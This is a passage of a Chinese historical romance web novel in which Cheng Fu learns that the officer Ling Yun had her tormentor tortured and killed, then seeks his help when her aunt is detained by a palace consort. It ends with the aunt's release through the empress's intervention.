她的肚子又不管她死活地“咕”了一声,使得原本还算严肃慎重的场合变得尴尬又无语。 程芙覆住小腹,转过身。 凌云:“……” 一个时辰后,她与他坐在小饭馆里吃羊肉面。 程芙把账先结了:“我请您吧。” “好。” 她垂眸认真吃面,鸦黑的睫毛又浓又密。 他用公筷,把肉拨进她碗中。 一个姑娘家表现的很爱吃肉,且很能吃,多少有些不够文雅,程芙抿了抿唇,“不用给我。” 凌云:“你明明很想吃,且吃得下,为何不要?” 程芙:“……” 凌云让小二又上了一盘肉,放在她面前,“吃吧,我请你的。我知道你想买铺面,倒也不用那么省,我给你介绍一家便宜的。”—— 作者有话说:这个月最后一天,营养液再不投就要过期咯,投我投我~谢谢大家[让我康康] 第49章 一直在相看铺面, 是因为好的稍纵即逝,须得时时紧盯,方便下手, 又不比买菜, 今儿想吃今儿买, 错过了明日还有。 所以程芙和姨母也不是很急, 更何况她哪敢再欠凌云的人情债。 “大人误会了。”程芙和煦道,“我们家就随便看看, 这种事上哪儿说得准,主要还没想到做什么生意。” 凌云:“可以赁出去。” “以后再说吧。”她低头吃面, 咽下去才补充道, “我姨母经常改主意,我们以后兴许不想买铺面,买别的什么。” “买什么?” “田庄……” “你买不起。” 程芙:“……” 匆匆吃完面, 她向凌云告辞,“凌大人,我先乘车回去了,您家离这里不远,我就不送了。” 凌云和她一起走出来,先前又是骤雨又是疾风的阴天变成了艳阳高照。 程芙的手自然地合在腹前,脊背笔直, 仪态款款, 微风吹拂了她柔软的衣袂,贴合着,摇曳着,勾勒着女儿家清瘦身形,凌云眼热, 不自在地瞥向别处,盯着他与她重叠的影子发呆。 浮想联翩。 “大人,您还有事?”她仰脸,满目不解。他不走,也不说话。 凌云:“徐知县家的大公子半个月前去世了。” 适才程芙问完话就垂下了脸,冷不丁听得此言,神情霎时凝住,半垂着的眼掀睫重新看向他。 凌云:“我的人把他杀了。” “……”她红唇翕张,“你?” “他们让你受委屈,还让你担了恶名,自该受此教训。”凌云说杀人的语气仿佛说杀鸡,末了补充道,“别担忧,徐家大郎之死完全牵扯不到你,不会给你添麻烦。” 他耐心地给程芙解释原委。 原来徐家为了防止兄弟阋墙的丑闻传出,影响家中儿郎仕途,便早早处理了所有知情的下人。一年后,程芙逃婚惹官司,毅王遣人去清河县查她底细,结果必然只能查到一些砍头去尾浮于表面的“真相”,上报的人据实回禀,表达出来的意思难免与实情相差甚远。 但那时没人在意阿芙,她是个怎样的人都不影响她犯下的罪——冒犯贵女。 所以官差抓她,狱婆打她,毅王欺负她,连他也……误解着她。 讲到此处,凌云低眸轻抿唇角,缓了些许,方继续述说。 当他对程芙的好奇达到顶峰,便鬼使神差地安排眼线监视徐家,谁知这一盯竟真叫他盯出了东西。 本来这事早已揭过去,死无对证,未料徐大少爷贼心不死,念念不忘动人的程芙,自从一睹她衣衫不整的模样,便觉再难有女人能与之相比,越是如此想,他便越懊恼,惋惜当年就差一点点便得手了。 这样的念头在心里一直盘旋,终于在一次酒醉后爆发,他向酒友大肆炫耀自己吃过人间绝色,满嘴污-秽地描述程芙——穿着杏红色的小-衣,脊骨的肌肤宛如凝玉,滑腻自然生香…… 半是真的半是臆想。 他没想到大放厥词时调查程芙背景的线人尚未离开,在他第二次醉时讲到那姑娘叫程芙,我把她睡了,她每晚都过来陪我……后面的话没说完,被一彪形大汉掐着脖子提走了。 待他苏醒发现自己被人五花大绑,有人往他头上浇冰水,绑架他的彪形大汉询问他有关程芙的事。 在经历了锦衣卫几十道酷刑和测试真伪的折磨下,奄奄一息的徐大少爷吐露了当年实情,一个字也没敢漏。 接下来的日子,绑匪每日只给他少量维持生命的水米,无论他如何哭喊求饶、许以重利,都没有人回应他,直至第九天,绑匪给他换了更恐怖的地方——挖好的坑洞,不大不小,正正好好装下他。 彪形大汉吩咐手下:“把他上面和下面的脑袋都砸碎,再埋了。” 手下领命。 徐大少爷哀嚎一声失了禁,当晚便早登极乐去了,十二日后凌云再次收到彪形大汉的飞鸽传书:该处理的都已处理干净。 现在,凌云站在空荡荡的街道,一家小面馆的附近,一五一十透露给阿芙,欺负她的人死了。 这是凌云面对程芙犯的最严重的错误之一,暴露了对人命没有丝毫敬畏的冰山一角,这是他的本性,与那张和和气气的明朗笑颜着实反差。 程芙缓缓掩住颤抖的唇。 她恨极了徐大少爷,当然巴不得他死,但凌云以私刑的方式将人施-虐致残再砸扁了脑袋埋掉,徐家怕是现在还没找到尸体在哪儿。 哪怕他直接说把人掐死了,程芙都不会上不过来气。比起感激,她对凌云的恐惧达到了前所未有的高度。 如果有天她也犯了错,触怒他,他翻脸时得有多无情?处理她就如碾死一只蚂蚁,激不起半点水花。 姨母可能连她尸首在哪儿都不知。 程芙打了个哆嗦,道:“大人,请莫要这般行事了。” 凌云一手负在身后,双目微光一闪,平静地盯着她,“我想这么做,这让我快意,与你无关。” 她的表情脆弱得仿佛要碎掉了,与他的期待大相径庭,难道仇人惨死不该抚掌大悦? 程芙:“……” 她无话可说。 “原想将徐家二郎也解决,可他到底救过你,我尚不清楚他是否强迫了你什么,所以问问你……” “你疯了!”程芙美眸微瞠,薄愠涨红了双颊,直勾勾瞪着凌云,“徐峻茂待我恩重如山,反倒是我欠他几多人情,你若伤他一分一毫,我……我……” 她想不出自己能将凌云怎么样,不禁悲从中来,怒极生胆,两只粉拳都攥紧了,对他大喊大叫:“我便去你家门前自缢,不叫你痛快!” “……”凌云后退了一步,神色怔忪,“我没有动他。” 程芙:“我的事不要你管,冤屈也罢,倒霉也罢,都与你没关系。” 利用前和利用后完全是两副嘴脸啊,现在都开始正面与他划清界限了。凌云在心里冷笑,不动声色上前一步,靠近她,“我亦有错,不该以貌取人,心存偏见,视你的聪慧为心机,把你当成不贞不洁之人。” 他给她道歉,谁知更惹了她,“贞洁”二字蜇到了她逆鳞。把那张红扑扑的芙蓉面气得发青,连红润的唇也瞬间褪去了血色。 她啐他,而后昂起倔强的下巴道:“我知道自己能有今日全都仰仗你护送,你解了我燃眉之急,使我重获新生,相比之下你有许多线人和线索,而我只是其中一个,咱们之中我更迫切,但这不代表你就有资格定义我。” 凌云无措地望着她,听她的声音在发抖,她说:“你没误解我,我就是你想的那样。为了活命,我立刻答应毅王为奴为婢,为了太医署会选,为了有朝一日逃走,我还陪毅王睡觉,早就没有贞洁,一直都是你最瞧不起的那种人。” “阿芙,都是我不好,又说错话,不要生气了……” 可她不许他碰自己,奋力一挥,边往后退边说:“可你也没什么了不起,你就有贞洁吗?脏男人,比我脏一万倍!我是什么样的人不需要你来定义。” 她甩开凌云的手,用袖子狠狠擦了把眼睛,登上骡车,不去听凌云说的话,也不去看他的人。 因她忍不住又开始恨一个人了,本来都快要完全忘记的人,全都怪凌云。 车夫是个六十七岁的老头,眼神听力一般,瞥见帷帽遮面的东家从斜刺里匆匆冒出来,登上车略带鼻音道:“走。” 他甩鞭子催车,余光闪了闪,一个年轻人追了过来,可又仿佛不是来追他们的,呆呆驻足巷子口。 程芙在车上掏出荷包里的小铜镜,纤指微勾,仔细梳拢额前碎发,再用帕子沾了点茶水,将眼周擦拭干净,把自己拾掇得无事发生。 不到一盏茶,车子就驶进了双槐胡同,看了看日影,未及申时,不知姨母是否从宫中回来。 小桃在门口迎她下车,一只野猫尖叫着从天而降,其实是树上摔下的。 它蹲在墙头,试图跃向一尺外的树梢,竟然失足,头昏脑涨滚到地上,而地上全是人,它受惊过度,尖叫着跳起,这一系列的逃窜动作把小桃的汗巾和程芙的手背都抓花了。 程芙的情况更严重,三道泛白的伤口眨眼涌出了血。 可把杨氏气得跳脚,大声诅咒疯猫,叫家丁拿扫帚驱赶,忙又把程芙扶进屋里,清理创口。 大家都在为莫名其妙的猫祸心疼程芙,诅咒疯猫,程芙却呆呆木木的,一股从未有过的寒意沿着脊梁骨慢腾腾往上爬。 这邪门的预兆果然在掌灯时分显现征兆。 姨母出事了。 天一黑,家家闭紧门户,马嫂子-插-好门闩,对坐立难安的程芙道:“太太肯定是留宿宫中了,奶奶先去歇歇吧,现在宵禁,又不通行,等明儿一早肯定就回来了,便是不方便回也会打发人传个话。” 程芙说“好”,心不在焉回了屋。 宵禁时分谁也不得离开所在的街坊胡同,一旦走到街面上,被禁卫军逮到可是要治重罪的。倒不如明早亲自去太医署问问情况。 打定主意,她散开发髻,忽听敲门声响起,咚咚咚的,在黑夜里格外突兀,仿佛敲在了人的心脏。 马嫂子没敢开门,询问对方是谁。 来人竟是安国公府的管事,他说:“不用开门,我就站门口说句话。夫人命我提醒你家一声,柳医女遇到了麻烦,已被邱贵妃扣押,你们快想个辙,多准备些银钱,有备无患。” 一番话不啻一记重拳,捣在了程芙的太阳穴,把她打的脑中轰鸣,两眼模糊,脚步都踉跄起来。 杨氏突然窜出家门,对马嫂子道:“把门打开,我进来陪陪你家表姑奶奶。” 马嫂子依言开门,那管事非常知礼,忙辞别,掉头离开了。 程芙抬首望着黑鸦鸦的深空,感觉一直有只手,巨大的黑手,以愚弄她的人生为乐,偶尔也会给她一点甜头,但很快就会把她重新推进深渊,欣赏她无助地转圈。 贵妃扣押,银钱能有几个用,安国公夫人应是不想她们绝望,才没把话说死,可也没有襄助的意思。 程芙不怨怪,非亲非故,给传句话已是仁至义尽了。 只她也是头一回经历这种绝境,略有些抓瞎,杨氏突然出现无疑让她有了些慰藉。 杨氏:“莫怕啊,姨我有的是钱,救命的钱多少我都给,你先跟我说说具体情况。” “上午我们去太医署参加例会,秋嫔听闻我姨母的医术便点名要她过去问诊,没有任何征兆,晚上便出了事。”程芙脸上没有一滴泪,也没有血色,反倒显得更可怜了。 “你先别急,我倒认识几个有脸面的宫人,明儿你去太医署,我去宫里,咱俩两边打听,何愁打听不出消息。” “杨姨……” 程芙起身,要给她跪下,拜谢大恩大义,可把杨氏一惊,几乎是从椅子上弹跳,慌忙攥住程芙的肩膀,将她提了起来,“哎哟傻孩子,什么时候了还讲这些虚礼,当务之急快休息,明早也好打起精神动身,否则把自己熬得浆糊似的,反倒误事。” 有道理,非常有道理。程芙让自己镇定下来,亲自送杨氏离开,折返寝卧搬出所有家底,才逼着自己躺在被窝闭上眼。 后知后觉的她,陡然浮出一个疑惑,进宫?杨氏的身份怎么进宫? 应是有钱能使鬼推磨,央烦别人为她递话。 天不亮,她和杨氏按昨晚的约定,各乘一车飞奔向皇城的方向。 卯正,大大小小的官员上衙的上衙,上朝的上朝,不等拐上春华大街,程芙的骡车就畏缩起来,走三步避让一步,反观杨氏的车,如入无人之境,嗖嗖嗖几下不见了踪影。 程芙目瞪口呆。 杨氏也顾不得程芙会怎么看自己了,因她也着了慌。 军机营在王爷眼皮底下丢了五把火铳,朝野哗然,太子正拿此事大做文章。王爷虎落平阳,举步维艰,又身在三百里外的军机营,纵八百里加急也要六个时辰,自己的人此刻怕是还没见到王爷的人。 那么她就不能让芙小姐在王爷鞭长莫及时出事,必须尽可能拖延时间,等候王爷决断。 程芙满头大汗,掀开竹帘,因怕被后面飞奔的马车削掉脑袋,也不敢探出头,只能焦灼地瞅着一辆辆马车、骡车,搭载缙绅士人插队超行。 车夫避让了好一阵子,也避让出了火气,苦着脸对程芙道:“柳家表姑奶奶,要不咱们先去墙根等一等吧,不用等太久的,等他们走得差不多,咱们再赶路。” 否则也不会比等候更快,还容易冲撞官老爷。 程芙气若游丝道:“好,我们先避避。” 话没说完,她发现有大颗大颗的水滴从脸颊滚落,落在自己略黯淡的郁金裙,泅出一片片水印。 她在心里告诉自己,“莫慌,左不过耽搁半刻钟,撑死了一刻钟。” …… 太医署的女医官见到程芙,淡淡蹙眉:“何事?” “大人,请恕小的冒昧前来,实在是有不情之请。”程芙一边告罪一边屈膝施礼,没有品秩的医员尚不能自称下官,她努力把声音放平稳,语气放和缓了,“央烦大人替小的问问柳余琴柳医女发生了何事?” 女医官脸色微变:“你是?” “回大人,小的是新进医员,柳余琴的外甥女。” 女医官点点头,“昨夜的确扣押了好几个女医,具体还不清楚,等有了眉目自会通知家人。” 好几个?太医署的女医从上到下加起来也只有二十来个。 卯正三刻,廨所的医官越来越多,有男有女,女子都有些年纪,至少为吏目,更有御医,程芙这般水嫩的姑娘家便显得尤为突兀,许多男人惊讶地看向她。 她红着脸,僵硬地移开视线,哀求地看向女医官。 女医官沉声道:“戴好帷帽回去,没规矩。” 程芙拉下帷帽的纱帘,顶着众人异样的目光,深一脚浅一脚迈出大门。 有年轻的男医员红着脸提醒她小心脚下,见她失魂落魄,顿生怜香惜玉之心,体贴一路护送,直至她走出太医署。 她木木地往前走,也没道声谢。 她和姨母太渺小了,遇到事儿,连问个门路的资格都无的,此时她应该去安国公府,厚着脸皮拜见国公夫人,但人家要是不想见,一句话就能把她打发。 不用想,去了也是白去。 而后那人的脸庞再一次不合时宜地跃出脑海,程芙攥紧了自己的手,不管承不承认,他是唯一能解此局之人,也是唯一给她脸面、允许她搭话的贵人。 可是今时不同往日,那人已消失一个多月,拥有了比她更美的女人,不需要再在她的身上浪费情绪,彼此应是再不会有联系。 即便有联系又怎样,她以何种身份去求?又去哪里求? 程芙赫然发现,自己对崔令瞻一无所知。 辰正,灰头土脸的她回到了双槐胡同,打包了一份厚礼交给冬芹和米嫂子,嘱咐二人去安国公府给昨晚报信的管事送份谢礼,顺便多打探一二。 二人晓得事情的严重,当即提了贽礼乘车而去。 程芙呆坐两个时辰,一直等不到杨氏的消息。 小桃瞥见奶奶忽然起身,似要外出,她不放心,连忙跟上。 “你和马嫂子守门,也好相互照应,遇到事便去前门大街通知我,知道吗?”她轻声道。 小桃眼巴巴瞅着她,点了点头,很是听话道:“嗯,小桃都听您的。” 九月十六,凌府管事妈妈翟氏笑容可掬,把程芙引进正厅。 厅中坐着凌云,仰靠椅背,叉着两条长腿,大马金刀的姿态,眼睛斜睨着她。 不等她开口,他和煦地打了声招呼,“哟,这不程医女,来脏男人家有何贵干?” 程芙闭了闭眼,随他如何讥讽,自己都会老老实实受着,“我姨母被邱贵妃扣押,我进不了宫,可不可以帮我打探一下究竟发生了何事?救救她……” 凌云都要气笑了,可这样大的事,她铁定笑不出,铁定足够难过了,否则也不会像只蔫头耷脑的瘟-鸡,跑来他跟前。 还知道问“可不可以”,何必如此客气,毕竟他这么贱,不就是专供这位大小姐驱策的? 凌云淡淡“哦”了声,“说清楚点。” 程芙便将事情的经过如实叙述了一番。 人似乎有点傻了,从头到尾直愣愣站凌云面前,连福身问安都忘了。 凌云以拳抵唇,沉吟片刻,忽然撩起眼皮看她,似笑非笑:“程芙,我就如此廉价啊?动不动就是你想怎样你要怎样,让我怎么着就得怎么着。高兴了对我有说有笑,温柔知礼;不高兴就对我大喊大叫,连骂带摔的。” 程芙:“……” “我是脏男人,又不是贱男人。”他起身,伸伸懒腰,转着手臂凑近了,弯腰仔细打量她的脸,“你不会是要哭了吧?实在对不住,要哭你就回家哭……” 他一惊,衣襟被她攥住了,狠狠往下一带,而她踮起脚。 凌云大惊失色,僵在原地,一双桃花眼瞪得又大又圆,盈香扑面,软-嫩到令他发抖的温热贴上了他的唇。 是她花瓣一般的檀口。 轰的一声,凌云的脸烧成了红炭。 一切发生的太快,电光火石,都不等他回味,不等他启唇回吻,她已离开。 “你,你……”凌云张口结舌,狼狈地后退一步,下意识覆住自己的唇,上面滚烫的余温几乎要灼伤他拇指。 “这是定金。”程芙面无表情道,“你不是一直想要我,救我姨母,我陪你一晚。” 凌云黑色的瞳仁似两泓轻漾的春泉,闻听此言,浑身滚烫的血液倏然冻结了。 第50章 一阵绞痛, 凌云下意识盖住胸膛的伤口,就在心脏的附近,好奇怪啊, 那里的血肉早已重新生长, 愈合结了疤, 怎么还会痛? 现在这是怎样的一个状况呢? 一个玉软花柔、百媚千娇的姑娘, 从第一眼就引起他好奇的姑娘,他对她总有莫名的敌意, 无关痛痒的、轻蔑的、厌烦的,逐渐变了味, 滋生出见不得光的心思, 也或许从一开始就因为见不得光才愈发排斥。 总之,此时此刻的凌云,知道自己可以如愿以偿了, 招手即能拥有了,运气好的话今晚就可以,或者他可以讨价还价,现在就把她哄去房中……他被自己深深恶心到了。 凌云咽了咽,转眸看向程芙,她微微苍白的脸很平静,眼睛的焦距定在条案上芳馥含露的百合, 没有羞涩也没有怨气, 就仿佛……仿佛在对他讲:凌大人,我这有几钱银子,能换你家一束花吗? 她只是想要束花而已,又不是要他的命,大不了再帮她跑趟腿啊, 何必趁火打劫呢……她又不喜欢,如若来真的,她一定会很痛苦,到时哭哭啼啼的反而不美。 察觉到他怪异的目光,程芙眉心轻蹙,视线与他相接,顿了顿,“是不是我误会了?” 他倒也没多稀罕她的身体,或者说付出代价的方式才能获得的话有点不太值,以他这种“重视”贞洁的个性,想来是觉得她不值钱的,没那么贵。 “竟是我冒昧了,还望大人恕罪。”程芙微微欠身,“告辞。” 她循着来时的路往回走。 他突然开口:“阿芙。” 程芙一惊,回眸顾他,一丝恐惧闪过眼底,应是怕了后悔了,但此时再说什么都来不及,只能怔怔立在原地,望着高大的青年一步步逼近她,光线一点点被遮住,直到阴影将她完全吞噬了。 “我对这种‘买卖’不是很感兴趣。”凌云笑了笑,“主要是你这个人挺无趣的,特没意思,现在说得好听,等我真把你办了,你肯定不会再理我。” 程芙嘴唇微微嚅动,“……” “我觉得你脑子被毅王耍得不太灵光。当谁都是他呢,没见过女人似的。反正我跟他不一样。” 不,他说谎了,他跟毅王一样,快要羡慕死了,却又因为毅王是这样,他便执拗地让自己显得与他不一样,好叫她在心里喟叹还是凌云更高洁正派,比毅王温存比毅王体贴。 可是只有天知道他有多懊悔。 只有他知道毅王一了此心,可攫市金,可搂处-子有多快活。 而打肿脸充胖子的他,是多么莫名其妙。 安静听他说完,程芙攥紧衣角,声音轻而慢,“大人见多识广,是我小觑了大人。” 凌云不屑哼笑一声,想说算你明白,转而觉得不太对劲,越想味越不对,登时黑着脸问:“什么话?谁见多识广了?我还能有他广?” 程芙:“我没有揶揄的意思……” 纯粹话赶话恭维他的,谁知他较了真,翻了脸。 凌云:“他光是掌寝就四五个,等王妃进门,少说再添两个陪嫁婢女,呵呵,加上你这个傻子,凑满满当当一院子,不知多热闹。”紧接着唏嘘道,“不过你跟了他也好,你就不用可怜巴巴到处看人脸色,只需看他脸色,服侍他就行了,哈哈哈。” 程芙双目坦然,“我们早就断了,大人不必拿话暗讽我。我说的事情大人到底帮还是不帮?” “帮。” “多谢您。”她望着他的眼睛说。 凌云冷笑一声,转过身挥挥手,“我这就更衣去宫里走一趟,您慢走,不送。” 程芙走出凌府深深呼吸,来时一腔孤勇,没想太多,此时渐渐感到了刺痛,孤身一人拜访男子宅邸,旁人会怎么看她,议论她? 凌府的仆婢从她进门,视线便已充满了暧昧和惊讶。 但她不后悔。 哪怕被最犀利的长舌妇人指着鼻子笑“遇到事情就靠男人,妖妖调调”,她都不后悔。 在男人制定的秩序里不靠男人难道靠女人?哪个女人给她靠?她连跟男人平起平坐的资格都没有,哪怕跪着讲理都不会有人听。 为什么大家不自知地跪舔靠男人的男人,瞧不起靠男人的女人啊…… 男人很高贵吗? 女人活着已经很不容易,还要被一部分同类勒紧脖子,压缩生存的机会,变相地剥夺为数不多的机遇,然而剥开表象,站在道德制高点讲话的,内里不见得光鲜,甚至腐烂发臭。 人人都贪婪,人人都趋利避害,人人都有自己的算计,但是有的人一张嘴道貌岸然,喝退竞争对手。 便是毅王、凌云之流不都是靠祖业靠爹才比她高贵,没有祖业和爹,他们又算什么? 倘若她是金枝玉叶,想必长舌妇人们会立即改口称“您这样的身份怎能算靠,您这是用,合理利用”。 程芙昂起头,稳稳登上雇来的驴车,无视所有探究的视线。 凌云更衣驱马直奔宫城,同僚见是他,略感惊讶,上前招呼,“圣上特特恩准你休沐三月调养身体,你不想休便给我。” “我有事呢。”凌云走过去,搭着他的肩,边往廊上走边道,“听说昨晚宫里扣押了好几个医女,何事啊这么大动静?” 同僚一听,“嗐”一声,竹筒倒豆子似的全捅了出来。 秋嫔久不来月事,实在没招,便从新进医女中挑了一个碰碰运气,那柳医女初来乍到,不懂规矩,诊完脉就信口胡说秋嫔这是有孕了,因为有孕才没有月事的啊。 这番话把周围人都震翻了,连秋嫔也差点厥过去。秋嫔身边的嬷嬷箭步上前,扯住柳医女头发啪啪啪三个大耳瓜子,怒斥:“贱婢,休得胡言乱语,先前是怎么学的规矩,教了你多少遍不该说的别乱说!” 柳医女还挺机灵,当即不再吭声,每个人都如临大敌瞅着她,只有秋嫔满脸懵懂,似悲似喜。 那之后邱贵妃亲自摆驾秋嫔的宫殿,将为秋嫔诊过脉的三名医女全部扣押,而秋嫔因气虚体弱,需要静养,就没再露过面。 过程就是这样的,同僚挤眉弄眼,“左不过后宫那点小九九。” 今上的后宫拥挤不堪,大热闹小热闹不断,禁卫暗卫早看腻味。 凌云笑了笑,“这事儿整的。” 这么一件事,升斗小民到处抓瞎,不得门路,他随口一问,就问出了详细原委。如此一想,还真能理解阿芙的不忿与无奈。 幸亏没同意她的买卖,否则她多吃亏啊,白白被他占了便宜。 他总是不忍她吃亏,哪怕是吃他的亏。 以他的身份,叫个人去邱贵妃的宜和宫探探虚实不难,若真不好捞人,他不介意亲自跟邱贵妃求个情,欠份人情。 魏大珰的干儿子福禄笑眯眯道:“您就擎好吧,咱家去去就回。” 凌云:“多谢多谢,还好有公公您在。” 福禄表现得很积极,一则是终于有机会显摆自己与众不同的地位;二则是卖凌榆白个好,稳赚不赔。 未料他竟晚了一步,脚刚刚沾上宜和宫的地面,楚章姑姑忙将他拉至僻静处,低声道:“现在不成,绮若正在里面。” 福禄瞪大了眼:“绮若姑姑?” 楚章点点头,撇撇嘴编排道:“那派头大着呢,给咱们娘娘行个礼,脖子根都劲劲儿的,生怕软了跌份。” 福禄嘿嘿笑,这话他听听,不敢接。 施礼的脖子本来就不能软吧,否则不显得更不敬了。 宜和宫主殿内,邱贵妃斜倚织金石榴宝榻,两侧各有一宫女服侍,一个捶腿一个捏肩,还有个跪在下首为她剥葡萄,一颗一颗,水晶似的放于琉璃碗中,她捏着尾部镶嵌宝石的银签子插起来吃。 有一颗不够甜,坏了她心情,直接吐宫女脸上,柳眉倒竖道:“下-贱的东西,长没长眼睛?会不会服侍?不会就赶紧滚。在主子跟前拿什么乔,你也就摊上本宫这个好主子,好性儿,别个宫里的人才跟着让你三分。没有得势的主子,你就是条人人喊打的狗。” 宫女以头抢地,一叠声告饶,脸上黏着葡萄渣,擦都不敢擦一下。 若绮依旧是微微的笑,温婉的眉眼不见半分波动,任由邱贵妃指桑骂槐一通。 邱贵妃似才想起她,凶神恶煞的脸就收了,眉眼一展,朱唇轻扬,笑意就如三月的红芍,且娇且媚。 “绮若来啦。”她道。 绮若含笑福身,重复道:“给娘娘您请安。” “瞧本宫这脾气,给狗东西一气倒把你晾着了。”邱贵妃曲肘以手支颐,笑道,“皇后她老人家可是又有什么吩咐本宫?” 按说她应该叫皇后一声姐姐,却夹枪带棒地咬重“老人家”三个字。不过真计较起来,比她大了二十余岁的皇后自然是老的,但再老也是她“姐姐”,她这么喊无非就是仗着年纪优势刺伤同类罢了,因为同类最介意年龄和容貌。 当然,年过四旬的邱贵妃烦恼不比皇后少,因为她也不再年少,每天还要面对一群十七八岁的嫔妃美人,几近崩溃,脾气便越来越暴烈,充满了攻击性。 也只有皇后能让她找回些许平衡。 与她相比,同龄的绮若清淡优雅不食人间烟火,眉眼清澈得仿佛年轻人,邱贵妃不耐烦地挪开眼,撇撇嘴。 听完邱贵妃的阴阳怪气,绮若垂眸柔声道:“回娘娘,皇后听闻秋嫔有孕,凤颜大悦,想来皇上的身体依旧康健如初,理应上下封赏才是,娘娘缘何要扣押医女呢?皇后不解,特特打发奴婢前来问一声。” “秋嫔有孕,这群废物东西多次请脉竟无一人诊出,你说该死不该死呢?” “自然该死。”绮若含笑,又微一蹙眉,“听说柳医女第一个发现了喜脉,缘何连她也扣押了?” 邱贵妃眯了眯眼,不答反问:“你们咸凤宫还真会‘听说’,还有多少‘听说’啊?” “回娘娘,还有不少呢,皇后贵为六宫之主,后宫诸事尽在掌握,娘娘您协理六宫,应该也是明察秋毫,万不能饶过一个不称职的狗奴,亦不能冤枉了忠仆。” “你……”几句机锋下来,没占着便宜也没震慑住人,邱贵妃失了面子,肝火滚烫,却不得不耐着性子道,“既知本宫协理六宫,些许小事何故揪着不放?难道本宫还能冤枉了一个好人?” “娘娘圣明,奴婢不敢质疑。”绮若欠了欠身,“皇后担忧秋嫔,已经安排了御医和月子房(明宫特有,同现代),秋嫔说柳医女人不错,皇后也觉得。” “什么?你们把秋嫔接走了?”邱贵妃气得个心肝儿直颤,粉白的脸颊也涨成了猪肝色。 楚章站在角落不停递眼色,邱贵妃如梦初醒,硬生生憋下了滔天怒火。 皇后亲自插手,还把人接走,邱贵妃当晚便把柳余琴放了,另外两个据说因医术不佳而自惭形秽,双双想不开跳了井。 此案不了了之。 绮若把后续说给皇后听,皇后淡淡一笑。 绮若:“不知柳医女什么来头,竟劳动娘娘您出手?” 她轻轻捏着皇后双肩,手法娴熟。 “邱仙慈行事有伤天和,本宫不能再放任她。”皇后不紧不慢道,“恰巧阿诺的心腹封曲,看上了柳医女,本宫干脆拿这件事作筏子,也给阿诺个方便。” 好家伙,封曲居然喜欢女人!绮若咋舌,没敢把话说出口。 殊不知封曲心里苦,他连柳余琴是圆是扁都没见过,但总不能暴露毅王的心肝宝贝程芙吧,便只能亲自出来顶锅了。毕竟他在皇后跟前还是有点薄面,再加上毅王的大面子,皇后立即插手,成人之美。 在柳余琴获释前,杨氏放不下程芙,便将一切托付给了咸凤宫的旧识,只身先回双槐胡同。 前脚刚一迈进家门,贴身婢女后脚也跟了回来,气喘吁吁禀报:“太太,芙小姐下午一个人跑去了凌府,奴婢恨不能也跟着闯进去。” 显然以她的能力还不够。 啊? 杨氏感觉一个脑袋两个大,“她……你真看见她一个人进去的?” “是,连婢女都没带,过了一炷香左右才出来,走路两条腿都发飘,看起来很是疲惫……” 杨氏脸发绿,与婢女默然相对。 莫说凌云这个人一直犯王爷忌讳,单是他和芙小姐不清不楚的关系,而今孤男寡女在家里私会……哎,芙小姐糊涂啊。 得亏他们跑前跑后为芙小姐奔波,她怎能做这种事戳王爷心窝子…… 婢女艰难地搜罗借口,“兴许……兴许是芙小姐等着急了,才去求凌云出手,毕竟她能搭上话的也只有凌云了。” 确实也有这个可能。 但孤男寡女共处一室,芙小姐又是凭何说动凌云出手的? 大家都是过来人,心知肚明。 杨氏和婢女的脸更绿了。 要说这二人猜错了吧,那程芙确实以美色作为筹码,企图与凌云做交易。 可要说这二人猜对了吧,凌云并没有趁机与程芙发生关系。 但无论如何,当这件事传进崔令瞻耳中,也足够难听了。 他胃部一阵痉-挛,想吐。 程芙这个贱-人! 崔令瞻动了动嘴唇,到底是不忍骂出口,顶着满脸尘土和一身疲惫,行尸走肉般回到京师的别苑。 军机营那边的事情还没处理完,他一贯游刃有余,不曾被人难住,只这回略有些吃力,但还是放自己任性一回,回城亲自看看阿芙。 而他的妹妹——崔毓真,已被太子的人以家人团聚为由带出了燕阳,最多不过七八日,便要与他一样,被人拴在京师。 从此,京师就有了他两根软肋。 是夜,崔令瞻独坐书房,用甜白瓷的茶杯盖,慢腾腾地刮着淡绿色的茶水,喝了一口,再也没有动。 戌初时分,宫人将柳余琴遣返双槐胡同,历经了一天一夜的黑暗,性命在邱贵妃的转念中几番起起伏伏,她感觉自己的灵魂也在这份起伏中变得沉重了。 家中早已备下热水热汤,洗去灰尘和晦气,温暖了肠胃。 程芙亲自服侍姨母沐浴更衣,又亲自为她烘头发,姨甥二人挤在一张床上互相安慰,说些体己话。 柳余琴:“是凌大人帮的忙吗?” 程芙擦了擦泪,“我也不清楚到底是凌大人还是杨姨,总之他俩都出了力,不管谁帮的,都是份恩情。” 柳余琴摸摸她脑袋,长吁短叹。 “老老实实,一心一意很难有前途。”黑暗中,柳余琴忽然呢喃,“我们沾过贱籍总不能一辈子不能出头吧,连后代也要跟咱们一起受人白眼。” 她不甘为妾,也不甘骨肉重复一遍她的路,干脆不成家,孤苦一生,直到被关在一间阴暗的库房,被人推来搡去,扯着头发掌嘴,忽然生出了不甘。 她想往上爬。 程芙没说话,转身面朝她,抱了抱她。 那就一起往上爬吧。 程芙定了福仙楼的雅间,邀请杨氏吃酒,柳余琴劫后余生,连敬杨氏三杯。 杨氏不敢托大,也回敬了,笑道:“其实是妹妹你命好,赶巧了我认识的贵公子有门路,请动了皇后娘娘身边的绮若姑姑,这才让贵妃娘娘手下留情的。” 柳余琴:“常听姐姐提起那位贵公子,敢问姓甚名谁家住何方?” 杨氏抬眸看向程芙,笑吟吟道:“将来有缘一见便知,要不我来挑个好日子,为阿芙引荐?” 柳余琴尚有许多顾虑,一时拿不定主意,便道:“我和阿芙的娘做过一段时间贱籍,阿芙曾经嫁过人,除此之外,我们身体健康,小有积蓄,品行端正。请您转告贵公子,若贪图美色抱着纳妾的心态,不见也罢,若只为娶妻而来,才不负相见。” 杨氏抿笑:“贵公子尚未成家,自然是为娶妻而来。” 程芙与姨母对视一眼,虽有疑虑和困惑,却也不能拂了杨氏的面子,便笑笑揭了过去。 …… 凌府的人拒绝了柳家送来的一车谢礼。 和杨氏吃酒,送凌云谢礼,孰远孰近一目了然。对于凌云虽远,但敬意不减,只可惜凌云推拒了,因为他帮她图不到什么,也不是以图什么去帮的,况且这回不等他出手,已经有神秘裙下之臣先出了手。 凌云把自己都整笑了,意识到程芙的救命稻草可不止他一根,广撒网呢,他倒好,还真为她急得不行,殊不知为她着急的人多了去,他又算什么? 为芙小姐当狗也要排队的。 他狠狠瞪了程芙一眼,纵马扬长离开。 马蹄甩了程芙和柳余琴满脸灰。 姨甥二人灰头土脸打道回府。 